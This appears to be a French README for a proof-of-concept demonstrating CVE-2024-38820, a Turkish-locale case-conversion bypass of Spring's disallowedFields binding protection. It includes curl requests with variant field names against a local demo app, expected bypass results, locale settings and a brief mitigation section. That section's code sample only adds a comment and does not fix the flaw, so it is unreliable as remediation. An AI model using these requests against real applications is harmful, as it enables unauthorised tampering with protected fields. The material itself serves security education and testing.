
Ce projet démontre CVE-2024-38820, une vulnérabilité dans le DataBinder du Spring Framework qui permet de contourner la protection disallowedFields en raison de problèmes de conversion de casse dépendants de la locale.
String.toLowerCase() varie selon la localeLe correctif de CVE-2022-22968 a rendu les motifs disallowedFields insensibles à la casse en utilisant String.toLowerCase(). Cependant, cette méthode présente des exceptions dépendantes de la locale :
"ADMINID".toLowerCase() devient "adminıd" (avec un ı sans point)"ADMINID".toLowerCase() devient "adminid"Cette différence peut permettre aux attaquants de contourner la protection des champs en utilisant des variations de casse spécifiques.
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
L'application démarrera sur http://localhost:8081
Visitez le point de terminaison de test pour voir les informations de locale :
http://localhost:8081/test
Essayez différentes variations de noms de champs :
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
Exécutez le script de test complet :
./test-cve-2024-38820.sh
adminId=999 → BLOQUÉ (cas normal)ADMINID=999 → CONTOURNÉ (majuscules)AdminId=999 → CONTOURNÉ (casse mixte)ADMİNID=999 → CONTOURNÉ (İ turc)adminId=999 → BLOQUÉ (cas normal)ADMINID=999 → BLOQUÉ (protégé)AdminId=999 → BLOQUÉ (protégé)Modifiez src/main/resources/application.properties :
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
Vous pouvez également définir la locale par défaut de la JVM :
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder configure disallowedFields("adminId")toLowerCase()"ADMINID".toLowerCase() ≠ "adminid"adminId est définiL'application consigne des informations détaillées :
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
Utilisez une correspondance de champs sensible à la locale :
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
Mettez en œuvre une validation personnalisée des champs qui ne repose pas sur des opérations dépendantes de la locale.
Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité uniquement. Utilisez-la de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.